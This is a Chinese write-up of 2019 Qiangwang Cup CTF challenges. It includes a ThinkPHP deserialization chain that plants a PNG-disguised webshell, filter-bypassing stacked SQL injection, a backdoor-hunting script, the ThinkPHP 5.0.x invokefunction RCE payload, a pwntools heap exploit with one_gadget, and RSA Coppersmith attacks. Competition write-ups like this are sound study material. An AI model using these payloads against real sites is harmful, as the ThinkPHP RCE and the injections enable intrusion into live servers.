# 2019 强网杯
一年比一年难,虽然得到了三位大佬的助攻,还两度进入前24,到最后还是无缘决赛(为什么神仙这么可怕啊)。
# 签到
ctrl-C,ctrl-V,不解释
# upload
发现源码文件www.tar.gz
,下载后解压。是一个基于 thinkphp5 的 web app,在 controller 里有四个文件,在Index.php
中发现一个反序列化。
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
2
3
4
5
6
7
在 Register.php 里发现类析构函数,会调用$this->checker->index()
函数。
public function __destruct(){
if(!$this->registed){
$this->checker->index();
}
}
2
3
4
5
在 Profile.php 中有一个__call
的魔术方法,可以造成一个动态函数调用
public function __call($name, $arguments){
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
2
3
4
5
由此可以够造出一个完整的调用链,执行upload_img()
函数,将上传的 png 文件重命名为 php 文件。
最后构造这样的 php 产生 payload,第一个坑点是我一开始没有写命名空间导致一直报错,直到队友把完整的题目环境搭起来,开了调试才发现问题。第二个是以为 php 报错中断之后不会析构,其实是由于没有命名空间,反序列化出来的一直是__PHP_Incomplete_Class
,所以 PHP 报错中断之后也会执行析构函数。
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public $index;
public function __construct()
{
$this->checker=null;
$this->index = "upload_img";
$this->upload_menu= "6f65da3924c6557308caff5b2801eed4";
$this->ext = true;
$this->filename_tmp = "../public/upload/6f65da3924c6557308caff5b2801eed4/0a7b8575f81e6d28645879810e6f43a9.png";
$this->filename = "../public/upload/6f65da3924c6557308caff5b2801eed4/a.php";
}
}
class Register
{
public $checker;
public $registed = false;
public function __construct()
{
$this->checker=new Profile();
}
}
$t = new Register();
$t = serialize($t);
echo urlencode(base64_encode($t));
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
关于 webshell,只需要在 PNG 头部与第一个 CHUNK 之间插入文本数据就可以绕过getimagesize()
函数。
# 随便注
非常直接的 sql 注入,发现过滤了select|update|delete|drop|insert|where|.
,尝试报错注入1' and extractvalue(1,concat(0x7e,(database()),0x7e))+--+
可以输出一些信息,但是由于过滤的select
都很难利用。
后来队友发现可以使用堆叠注入,而且set
和prepare
似乎被过滤,使堆叠注入的方向明确了起来。strstr($inject, "set") && strstr($inject, "prepare")
,由于使用的是大小写敏感的 strstr,便可用大小写轻松绕过。最后的攻击流程是
#查询表名
;sEt @sql = concat('S','ELECT table_schema, table_name FROM information_schema',0x2e,'tables wh','ere table_schema = supersqli');Prepare stmt from @sql;execute stmt;--
#查询列名
;sEt @sql = concat('S','ELECT table_name, column_name FROM information_schema',0x2e,'columns wh','ere table_name = 1919810931114514');Prepare stmt from @sql;execute stmt;--
#打出flag
;sEt @sql = concat('S','ELECT flag,2 from `1919810931114514`');Prepare stmt from @sql;execute stmt;--
#
2
3
4
5
6
7
# 高明的黑客 Writeup
第一步先打开链接,发现一条文字,提示 www.tar.gz
文件是源码。于是从 www.tar.gz
下载好了源代码,打开一看,是近千个被混淆了的 php 文件。
首先从文件里发现,每个文件有许多 $_GET.$_POST
参数,还有很多 system(),exec(),eval()
等危险的函数。但是随便打开一个发现,这些函数里面的 参数不是在前面被置空了就是前面有些条件 if("a" == "b")
永远是 false 而无法执行。这时就需要动用脚本的力量了。由于文件太多,我们需要找到一个没有这些问题的隐藏的危险函数从而拿到 shell,所以就是脚本时间。因为有所有源码,所以跑脚本使用了本地的 web 服务器和 php。
<?php
function matchPattern($pattern, $context) {
if (mb_substr($pattern, 0, 1) == "" && mb_substr($context, 0, 1) == "")
return true;
if ('*' == mb_substr($pattern, 0, 1) && "" != mb_substr($pattern, 1, 1) && "" == mb_substr($context, 0, 1))
return false;
if (mb_substr($pattern, 0, 1) == mb_substr($context, 0, 1))
return matchPattern(mb_substr($pattern, 1), mb_substr($context, 1));
if (mb_substr($pattern, 0, 1) == "*")
return matchPattern(mb_substr($pattern, 1), $context) || matchPattern($pattern, mb_substr($context, 1));
return false;
}
$dir = "/path/to/local/webserver/";
$dirs = scandir($dir);
$cnt = 0;
unset($dirs[0], $dirs[1]);
foreach ($dirs as $k => $v) {
if ($v == ".DS_Store") continue;
$file = file_get_contents($dir . $v);
echo "[" . microtime(true) . "] Processing " . $v . PHP_EOL;
$line = explode("\n", $file);
$post_arr = [];
$get_arr = [];
foreach ($line as $linek => $linev) {
$linev = trim($linev);
if (matchPattern('*$_GET[*\'*\'*]*', $linev) || matchPattern('*$_POST[*\'*\'*]*', $linev)) {
//if(matchPattern('if*(*==*)', trim($line[$linek - 1]))) continue;
$start = mb_strpos($linev, '$_');
$word = mb_substr($linev, $start, (mb_strrpos($linev, "]") - $start + 1));
$method = mb_strpos($word, '$_POST') !== false ? "post" : "get";
if (mb_strpos($word, '\\\'') !== false) {
$func = mb_substr($word, mb_strpos($word, '[\\\'') + 3, -3);
} else {
$func = mb_substr($word, mb_strpos($word, '[\'') + 2, -2);
}
echo "[".round(microtime(true), 2)."] ".strtoupper($method)."\t" . str_pad($func, 17, ' ', STR_PAD_RIGHT) . "\t=>\t" . $v . PHP_EOL;
$value = 'echo "windowslinuxmac";';
$cnt++;
if($method == "post") {
$post_arr[$func] = $value;
} else {
$get_arr[]=$func."=".urlencode($value);
}
}
}
$http["http"] = [
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded; charset=utf-8',
'content' => http_build_query($post_arr)
];
//var_dump($http["http"]);
$context = stream_context_create($http);
$result = file_get_contents("http://localhost/web2/" . $v."?".implode("&", $get_arr), false, $context);
//echo $result.PHP_EOL;
if ($result === false) echo "请求失败!\n";
else {
if (mb_strpos($result, "windowslinuxmac") !== false) {
echo "Found!!!\n";
sleep(10);
}
}
}
echo "[cnt] " . $cnt . PHP_EOL;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
大致思路就是:遍历每个文件,然后通过字符串截取函数截取出来每个文件里面的所有 $_GET,$_POST
等可以控制输入的参数。然后再将自己的标志字符串输出,并请求每个文件。如果有返回说明 shell 注入成功。
等待了大概几分钟,突然找到了一个文件 xk0SzyKwfzw.php
可以注入,于是又写了脚本单独对这个文件进行注入,以便确定是在文件哪里的注入。
<?php
function matchPattern($pattern, $context) {
if (mb_substr($pattern, 0, 1) == "" && mb_substr($context, 0, 1) == "")
return true;
if ('*' == mb_substr($pattern, 0, 1) && "" != mb_substr($pattern, 1, 1) && "" == mb_substr($context, 0, 1))
return false;
if (mb_substr($pattern, 0, 1) == mb_substr($context, 0, 1))
return matchPattern(mb_substr($pattern, 1), mb_substr($context, 1));
if (mb_substr($pattern, 0, 1) == "*")
return matchPattern(mb_substr($pattern, 1), $context) || matchPattern($pattern, mb_substr($context, 1));
return false;
}
$dir = "/path/to/local/webserver/";
$dirs = scandir($dir);
$cnt = 0;
$file = file_get_contents($dir . "xk0SzyKwfzw.php");
$line = explode("\n", $file);
foreach ($line as $linek => $linev) {
$linev = trim($linev);
if (matchPattern('*$_GET[*\'*\'*]*', $linev) || matchPattern('*$_POST[*\'*\'*]*', $linev)) {
//if(matchPattern('if*(*==*)', trim($line[$linek - 1]))) continue;
$start = mb_strpos($linev, '$_');
$word = mb_substr($linev, $start, (mb_strrpos($linev, "]") - $start + 1));
$method = mb_strpos($word, '$_POST') !== false ? "post" : "get";
if (mb_strpos($word, '\\\'') !== false) {
$func = mb_substr($word, mb_strpos($word, '[\\\'') + 3, -3);
} else {
$func = mb_substr($word, mb_strpos($word, '[\'') + 2, -2);
}
echo "[$method]\t" . str_pad($func, 17) . PHP_EOL;
$value = 'echo "windowslinuxmac";';
$cnt++;
if ($method == "post") {
$http["http"] = [
'method' => strtoupper($method),
'header' => 'Content-Type: application/x-www-form-urlencoded; charset=utf-8',
'content' => http_build_query([
$func => $value
])
];
//var_dump($http["http"]);
$context = stream_context_create($http);
$result = file_get_contents("http://localhost/web2/" . "xk0SzyKwfzw.php", false, $context);
//echo "$result\n";
} else {
$result = file_get_contents("http://localhost/web2/" . "xk0SzyKwfzw.php" . "?" . $func . "=" . urlencode($value));
}
//echo $result.PHP_EOL;
if ($result === false) echo "请求失败!\n";
else {
if (mb_strpos($result, "windowslinuxmac") !== false) {
echo "Found!!!\n";
sleep(10);
}
}
}
}
echo "[cnt] " . $cnt . PHP_EOL;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
找到发现在 300 行左右的这段代码是一个非常奇怪的拼接,然后拼成了 system 并执行。
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
2
3
4
5
6
7
尝试使用 $_GET['Efa5BVG']
参数进行 shell 注入 cat /flag
,成功。
http://117.78.60.139:32435/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag;
# 强网先锋-上单
找到网页之后看到这个 5.0.22的二次开发版本由 Smity 独家赞助发布
,thinkphp 5.0.22,emmmmm,自带 RCE,直接构造?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
,拿到flag{90226d3dd64b8dbddd602e18d8af8dbb}
。
# 强网先锋-辅助
给出 RSA 代码
flag=open("flag","rb").read()
from Crypto.Util.number import getPrime,bytes_to_long
p=getPrime(1024)
q=getPrime(1024)
e=65537
n=p*q
m=bytes_to_long(flag)
c=pow(m,e,n)
print c,e,n
p=getPrime(1024)
e=65537
n=p*q
m=bytes_to_long("1"*32)
c=pow(m,e,n)
print c,e,n
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
发现n1=p1*q
,n2=p2*q
,那么gcd(n1,n2) = q
,即可分别把两个 N 的 p,q 都算出来。写一个解密脚本
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, PKCS1_OAEP
import gmpy2
from base64 import b64decode
n1 = ...
n2 = ...
p1 = gmpy2.gcd(n1, n2)
q1 = n1 / p1
e = 65537
phin = (p1 - 1) * (q1 - 1)
d = gmpy2.invert(e, phin)
cipher = ...
plain = gmpy2.powmod(cipher, d, n1)
plain = hex(plain)[2:]
if len(plain) % 2 != 0:
plain = '0' + plain
print plain.decode('hex')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
得到flag{i_am_very_sad_233333333333}
# 强网先锋-打野
一张 bmp 图片,使用 zsteg 爆破出来 LSB 隐写b1,msb,bY: qwxf{you_say_chick_beautiful?}
# 强网先锋-AP
泄漏 puts 地址,查找 libc 版本为libc6_2.23-0ubuntu10_amd64
,然后打 one_gadget。
#!/usr/bin/env python2
from pwn import *
#from FILE import *
#context.log_level = 'debug'
context.terminal = ['terminator', '-e']
context.arch = ['amd64','x86_32'][0]
filename = "./task_main"
glibc_version = '2.24'
address = {'address': '117.78.60.139', 'port': 30600}
elf = ELF(filename)
libc = ELF('/home/{}/libc.so.6'.format(glibc_version))
def attach(p, breaks=[]):
if args['REMOTE']:
return
gdb.attach(p, '\n'.join(["b *%s"%(x,) for x in breaks]))
if args['REMOTE']:
p = remote(address['address'], address['port'])
else:
p = process([filename])
def GET(length,name):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil("name:")
p.sendline(str(length))
p.recvuntil("name:")
p.sendline(str(name))
def OPEN(idx):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("?")
p.sendline(str(idx))
p.recvuntil("!")
p.recvuntil("\n")
return p.recvuntil("\n")[:-1]
def CHANGE(idx,length,name):
#p.interactive()
p.recvuntil(">>")
p.sendline("3")
p.recvuntil("?")
p.sendline(str(idx))
p.recvuntil("name:")
p.sendline(str(length))
p.recvuntil("name:")
p.send(str(name))
def main():
GET(0x20,"A"*0x10)
GET(0x20,"B"*0x10)
CHANGE(0,0x80,p64(0xdeadbeefdeadbeef)*4+p64(0)+p64(0x21)+'\x68')
puts_addr=u64(OPEN(1).ljust(8,'\x00')) # 泄露PUTS
libc_addr=puts_addr-0x06f690
success("puts_addr: "+hex(puts_addr))
success("libc_addr: "+hex(libc_addr))
CHANGE(0,0x80,p64(0xdeadbeefdeadbeef)*4+p64(0)+p64(0x21)+p64(0)+p64(0x45216+libc_addr)) # one_gadget
p.recvuntil(">>")
p.sendline("2")
p.sendline("1")
attach(p)
p.interactive()
if __name__ == '__main__':
main()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Random Study
Random study 共有四个阶段的题目。
- 初始阶段是告知 8 位随机字符串的 sha256 值,然后告知其中的前 5 位,给出整个字符串的 hex 值。
- 第一个阶段是根据当前时间的秒数随机种种子,然后生成随机数,在 200 次机会内填写正确。
- 第二个阶段是产生两个随机数,然后只有一次机会猜测第三个随机数。
- 第三个阶段是产生 32bit 的随机字符串,然后在 200 次机会内填写正确。
# 初始阶段
针对初始阶段,可以直接拿三字节随机数进行碰撞,代码:
#建立连接
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('119.3.245.36',23456))
#接收初始验证的内容
line1 = sock.recv(1024)
print(line1.decode())
line2 = sock.recv(1024)
#分割data获取skr的sha256
skr_sha256 = line2.decode().split('\n')[1].split('=')[1].strip()
#分割data获取skr的前5字节的hex值
skr_part1_hex = line2.decode().split('\n')[2].split('=')[1].strip()
#解析skr的数据
skr_part1 = bytes.fromhex(skr_part1_hex)
print(skr_part1)
#直接拿三个字节的随机数和skr_part1拼接碰撞sha256
while True:
skr_part2 = os.urandom(3)
skr_test = skr_part1 + skr_part2
skr_test_sha256 = hashlib.sha256(skr_test).hexdigest()
if skr_test_sha256 == skr_sha256:
skr = skr_test
break
print(skr)
#将skr转换为16进制编码
skr_hex = codecs.encode(skr,'hex')
#发送结果
sock.send(skr_hex + b'\n')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 第一阶段
针对第一个阶段,可以在连接服务器时在上下 100 秒内尝试种子是否正确,代码:
#获取初始阶段的结束信息
line = sock.recv(1024)
print(line)
#发送teamtoken
teamtoken = b'71e9f731afee608322aa0928f44ac7ce'
sock.send(teamtoken + b'\n')
#实际连的时候有时候服务器会抽抽,所以就不断接受一直到第一阶段开始
while True:
data = sock.recv(1024)
print(data)
if b'[+]Generating challenge 1' in data:
break
#将初始时间设置为当前机器的100秒之前
time_start = int(time.time()) - 100
#逐秒往后碰撞,知道碰对
for i in range(200):
time_assume = time_start + i
random.seed(int(time.time()))
for j in range(i+1):
test = random.randint(0,2**64)
print(test)
sock.send(str(test).encode() + b'\n')
data = sock.recv(1024)
print(data)
if b'[++++++++++++++++]challenge 1 completed[++++++++++++++++]' in data:
print('[++++++++++++++++]challenge 1 completed[++++++++++++++++]')
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 第二阶段
针对第二个阶段,在研究 Java 生成随机数原理后,了解了 nextInt 是通过线性同余来计算下一个种子的。于是可以利用 z3 进行线性约束,求出生成前两个随机数的种子,代码如下:
def decrypt(value1,value2):
solver = Solver()
seed = BitVec('flag',48)
nextseed = (seed*0x5DEECE66D +0xb).__and__((1<<48) - 1)
one = nextseed.__rshift__(16)
nextseed = (nextseed*0x5DEECE66D +0xb).__and__((1<<48) - 1)
two = nextseed.__rshift__(16)
solver.add(BV2Int(one) == value1)#1649034553)
solver.add(BV2Int(two) == value2)#623604550)
if solver.check() == sat:
m = solver.model()
return m[seed].as_long()
print(m)
else:
return -1
print('err')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
利用线性同余计算出种子后,再使用 Java 来生成第三个随机数(由于 Pytho 中右移是和符号相关的,即 Python 中每右移一位就会除以 2,而 Java 随机数生成机制是与符号无关的,即 Java 生成随机数的右移操作会将内存中的数据直接进行右移操作,因此此处使用 Java 编写)
public class Compute {
public static void main(String[] args) {
String seed_string = args[0];
long seed = Long.valueOf(seed_string).longValue();
long nextseed = (seed*25214903917L + 0xbL);
nextseed = nextseed & ((1L << 48)-1);
nextseed = (nextseed*0x5DEECE66DL + 0xbL) & ((1L << 48) - 1);
nextseed = (nextseed*0x5DEECE66DL + 0xbL) & ((1L << 48) - 1);
int three = (int)(nextseed >>> 16);
System.out.println(three);
}
}
2
3
4
5
6
7
8
9
10
11
12
随后,再使用 socket 发送生成结果:
while True:
data = sock.recv(1024)
print(data.decode())
if b'[-]' in data:
break
if b'[+]failed\n' in data:
data = sock.recv(1024)
print(data.decode())
# data = sock.recv(1024)
# print(data)
while True:
value1 = data.decode().split('[-]')[1].strip()
value2 = data.decode().split('[-]')[2].strip()
print('[*] Value1 :',value1)
print('[*] Value2 :',value2)
value1 = int(value1)
value2 = int(value2)
seed = decrypt(value1,value2)
if seed != -1:
break
print('[*] Value3 failed.')
sock.send(b'1\n')
data = sock.recv(1024)
print(data.decode())
if b'[-]' not in data:
data = sock.recv(1024)
print(data.decode())
value3 = subprocess.check_output(["java","Compute",str(seed)]).strip()
print('[*] Value3:',value3)
sock.send(value3 + b'\n')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 第三阶段
实际上,题目中第一关和第三关的随机数都是使用 Random 库进行生成的。而在第一关中已经种过一次种子,因此第一关通过的话直接拿来生成第三关的随机数就可以通过,代码如下:
data = sock.recv(1024)
print(data.decode())
if b'[+]Generating challenge 3' not in data:
data = sock.recv(1024)
print(data.decod50-[e())
if b'[-]' not in data:
data = sock.recv(1024)
print(data.decode())
target_num = random.getrandbits(32)
target = str(target_num).encode()
while True:
sock.send(target + b'\n')
data = sock.recv(1024)
print(data.decode())
if b'[++++++++++++++++]challenge 3 completed[++++++++++++++++]' in data:
break
data = sock.recv(1024)
print(data.decode())
data = sock.recv(1024)
print(data.decode())
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
代码运行效果:
# copperstudy
# 第一层
[+]Generating challenge 1
[+]n=0x1d90f208855a9b3e908d441ce0bea855e71c21289aa09ffe17e0d88e0b338b4e3d88a99666c7dee13c6fd770c95ed441518433141ed56bfe0e4e76474a05c1147b40fb3d4f41d738671bcdb4a2239d8db5beec191c161034f68914e5d5b68d710c44b25dfd612cff0b8bd323d8418845c02ec856b89d5685b49681c274d2eefL
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x1c60163d0f766765b8b980dc9456326ecf184992ec2a424b8a69a7a66dd1ad1f3318b1e3bfafedff043b0d17700d99c5974d6672c69b5adee5d00517bf83819f12fd4b88ccc386749b40338f2c88b841a7b32e19f25d153acf4417814efc3613388a8696f38746282c20602cf08755aad494833fe439799a6b9635d70d46fd7L
[+]((m>>72)<<72)=0x28e38dd686922e7f55335b90d9569e87a7b6e2b74314944a19e68473335ae41c75cdf093a8c56d01d446636f4e2d4fe73ee235d476dddd000000000000000000L
[-]long_to_bytes(m).encode('hex')=
2
3
4
5
6
7
8
Coppersmith 已知部分明文攻击
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print a
def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
#
# init
#
dd = pol.degree()
nn = dd * mm + tt
#
# checks
#
if not 0 < beta <= 1:
raise ValueError("beta should belongs in (0, 1]")
if not pol.is_monic():
raise ArithmeticError("Polynomial must be monic.")
#
# calculate bounds and display them
#
if debug:
# t optimized?
cond1 = RR(XX^(nn-1))
cond2 = pow(modulus, beta*mm)
# bound for X
cond2 = RR(modulus^(((2*beta*mm)/(nn-1)) - ((dd*mm*(mm+1))/(nn*(nn-1)))) / 2)
# solution possible?
detL = RR(modulus^(dd * mm * (mm + 1) / 2) * XX^(nn * (nn - 1) / 2))
cond1 = RR(2^((nn - 1)/4) * detL^(1/nn))
cond2 = RR(modulus^(beta*mm) / sqrt(nn))
# warning about X
#
# Coppersmith revisited algo for univariate
#
# change ring of pol and x
polZ = pol.change_ring(ZZ)
x = polZ.parent().gen()
# compute polynomials
gg = []
for ii in range(mm):
for jj in range(dd):
gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
for ii in range(tt):
gg.append((x * XX)**ii * polZ(x * XX)**mm)
# construct lattice B
BB = Matrix(ZZ, nn)
for ii in range(nn):
for jj in range(ii+1):
BB[ii, jj] = gg[ii][jj]
# display basis matrix
if debug:
matrix_overview(BB, modulus^mm)
# LLL
BB = BB.LLL()
# transform shortest vector in polynomial
new_pol = 0
for ii in range(nn):
new_pol += x**ii * BB[0, ii] / XX**ii
# factor polynomial
potential_roots = new_pol.roots()
print "potential roots:", potential_roots
# test roots
roots = []
for root in potential_roots:
if root[0].is_integer():
result = polZ(ZZ(root[0]))
if gcd(modulus, result) >= modulus^beta:
roots.append(ZZ(root[0]))
#
return roots
length_N = 512 # size of the modulus
Kbits = 64 # size of the root
e = 65537
# RSA gen (for the demo)
N =0x8cacfeb65d0e95a3f9bc0bf77763c5cc93ed49c8f70644dfdca3031047635122980740d506055f31a5e82930e33d91c0ac2a5440e6579da1f0ce96602fa2fbe557a160e008f05e8d480558b615429194157caf3678ee2d1f21250ea45b34e02aba8e3981de882383e60bce8e8155fa6117bd7c949176c679fcf665eb94e3adb
ZmodN = Zmod(N);
# Create problem (for the demo)
K = ZZ.random_element(0, 2^Kbits)
Kdigits = K.digits(2)
C = 0x76eceaf4109b64fa85c7e8fbf47319d48ab965c2ab22e05212f73c4cdc441e80328cb048c5b5db0327e8ef18b17a9e28ec059efe10691d8a34cee18b3f51dbc865d92c9c0f49981ce6254420f53e9b9064621328dd4e3ea317d13c0e5b28099dab4a7e8497b4fcb8d1735ce8d8bd2589c8bd95aaf5cf5751796a59cfd1f0113
# Problem to equation (default)
P.<x> = PolynomialRing(ZmodN) #, implementation='NTL')
pol = ( 7327252114503947508269325471363173220565465408364019550637516047539954866291850283298359927561303018712792763600801471488538723937511693943848975527313408 + x)^e - C
dd = pol.degree()
# Tweak those
beta = 1 # b = N
epsilon = beta / 7 # <= beta / 7
mm = ceil(beta**2 / (dd * epsilon)) # optimized value
tt = floor(dd * mm * ((1/beta) - 1)) # optimized value
XX = ceil(N**((beta**2/dd) - epsilon)) # optimized value
# Coppersmith
roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)
# output
print "\n# Solutions"
print "we want to find:",str(K)
print "we found:", str(roots)
print "\n"
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# 第二层
[+]Generating challenge 2
[+]n=0x8cacfeb65d0e95a3f9bc0bf77763c5cc93ed49c8f70644dfdca3031047635122980740d506055f31a5e82930e33d91c0ac2a5440e6579da1f0ce96602fa2fbe557a160e008f05e8d480558b615429194157caf3678ee2d1f21250ea45b34e02aba8e3981de882383e60bce8e8155fa6117bd7c949176c679fcf665eb94e3adbL
[+]e=65537
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x76eceaf4109b64fa85c7e8fbf47319d48ab965c2ab22e05212f73c4cdc441e80328cb048c5b5db0327e8ef18b17a9e28ec059efe10691d8a34cee18b3f51dbc865d92c9c0f49981ce6254420f53e9b9064621328dd4e3ea317d13c0e5b28099dab4a7e8497b4fcb8d1735ce8d8bd2589c8bd95aaf5cf5751796a59cfd1f0113L
[+]((p>>128)<<128)=0x8be6dcbed09bcf80bfb3f3bdfe79b92ab0404dd334036c8c79bfc857af2b679debf7b670e0f66a39791ba6c6175c427a00000000000000000000000000000000L
[-]long_to_bytes(m).encode('hex')=
2
3
4
5
6
7
Factoring with High Bits Known,当我们知道一个公钥中模数 N 的一个因子的较高位时,我们就有一定几率来分解 N。
n = 0x8cacfeb65d0e95a3f9bc0bf77763c5cc93ed49c8f70644dfdca3031047635122980740d506055f31a5e82930e33d91c0ac2a5440e6579da1f0ce96602fa2fbe557a160e008f05e8d480558b615429194157caf3678ee2d1f21250ea45b34e02aba8e3981de882383e60bce8e8155fa6117bd7c949176c679fcf665eb94e3adb
p4 =0x8be6dcbed09bcf80bfb3f3bdfe79b92ab0404dd334036c8c79bfc857af2b679debf7b670e0f66a39791ba6c6175c427a
cipher = 0x76eceaf4109b64fa85c7e8fbf47319d48ab965c2ab22e05212f73c4cdc441e80328cb048c5b5db0327e8ef18b17a9e28ec059efe10691d8a34cee18b3f51dbc865d92c9c0f49981ce6254420f53e9b9064621328dd4e3ea317d13c0e5b28099dab4a7e8497b4fcb8d1735ce8d8bd2589c8bd95aaf5cf5751796a59cfd1f0113
e2 = 65537
pbits = 512
kbits = pbits - p4.nbits()
#kbits = 1024
print p4.nbits()
print kbits
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.5)
print roots
if roots:
p = p4+int(roots[0])
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))
print gcd(p,q)
phin = (p-1)*(q-1)
print gcd(e2,phin)
d = inverse_mod(e2,phin)
flag = pow(cipher,d,n)
print hex(int(flag))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 第三层
[+]Generating challenge 3
[+]n=0x643d2d81c926b51179c5ded27e7bca2eea2acc2ed2c337186d344bc941b9a09b058e19e871b893e9c6845206d6f4921277b14efedee3a641029eeba0caf32d44390e2f7324c20bba12a0fec948922a5853d807b20c1166057d54232e1ab62191ac97bf7d497e69a0eee1a53e8a6b0e274af2a90e5c7e2134fbc7b3e6d7dce601L
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x601f9a3d84b9edd609c3563fbd50c4f43f41f1da78ed615afc5e911bcc8c2145c715f838fd5aa15d5dee1ca39c18a8c63ef395e0d89de9fb3d3bd0d6656c6b76f65f1f5c33733d30e126e441fd4ca533916429c859a1e546371e1b52bd6e7bcc6515a3c255bf2b90be66256a8c2b83339a1d2f04a3d12577cc2c84a3432f89bdL
[+]d=invmod(e,(p-1)*(q-1))
[+]d&((1<<512)-1)=0x9ecc17505fbf9d62b687888b52421ecdb844fc352b64d8303ba41b04039536140eb6d0c55ce9fe2b5ec8ed262869f36c482a25efd8b9e400fe9fdc090455f92bL
[-]long_to_bytes(m).encode('hex')=
2
3
4
5
6
7
8
Partial Key Exposure Attack(部分私钥暴露攻击),若 e 较小,已知 d 的低位
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = 1024
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.2) # find root < 2^(nbits//2-kbits) with factor >= n^0.3
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)
def find_p(d0, kbits, e, n):
X = var('X')
for k in xrange(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
return p
if __name__ == '__main__':
n = 0x00643d2d81c926b51179c5ded27e7bca2eea2acc2ed2c337186d344bc941b9a09b058e19e871b893e9c6845206d6f4921277b14efedee3a641029eeba0caf32d44390e2f7324c20bba12a0fec948922a5853d807b20c1166057d54232e1ab62191ac97bf7d497e69a0eee1a53e8a6b0e274af2a90e5c7e2134fbc7b3e6d7dce601
e = 3
cipher = 0x601f9a3d84b9edd609c3563fbd50c4f43f41f1da78ed615afc5e911bcc8c2145c715f838fd5aa15d5dee1ca39c18a8c63ef395e0d89de9fb3d3bd0d6656c6b76f65f1f5c33733d30e126e441fd4ca533916429c859a1e546371e1b52bd6e7bcc6515a3c255bf2b90be66256a8c2b83339a1d2f04a3d12577cc2c84a3432f89bd
#d = 0x9ecc17505fbf9d62b687888b52421ecdb844fc352b64d8303ba41b04039536140eb6d0c55ce9fe2b5ec8ed262869f36c482a25efd8b9e400fe9fdc090455f92b
beta = 0.5
epsilon = beta^2/7
nbits = n.nbits()
kbits = 512
d0 = 0x9ecc17505fbf9d62b687888b52421ecdb844fc352b64d8303ba41b04039536140eb6d0c55ce9fe2b5ec8ed262869f36c482a25efd8b9e400fe9fdc090455f92b
print "lower %d bits (of %d bits) is given" % (kbits, nbits)
p = find_p(d0, kbits, e, n)
print p
#print "found p: %d" % p
q = n//p
#print d
print inverse_mod(e, (p-1)*(q-1))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))
print gcd(p,q)
phin = (p-1)*(q-1)
print gcd(e,phin)
d = inverse_mod(e,phin)
flag = pow(cipher,d,n)
print hex(int(flag))
2
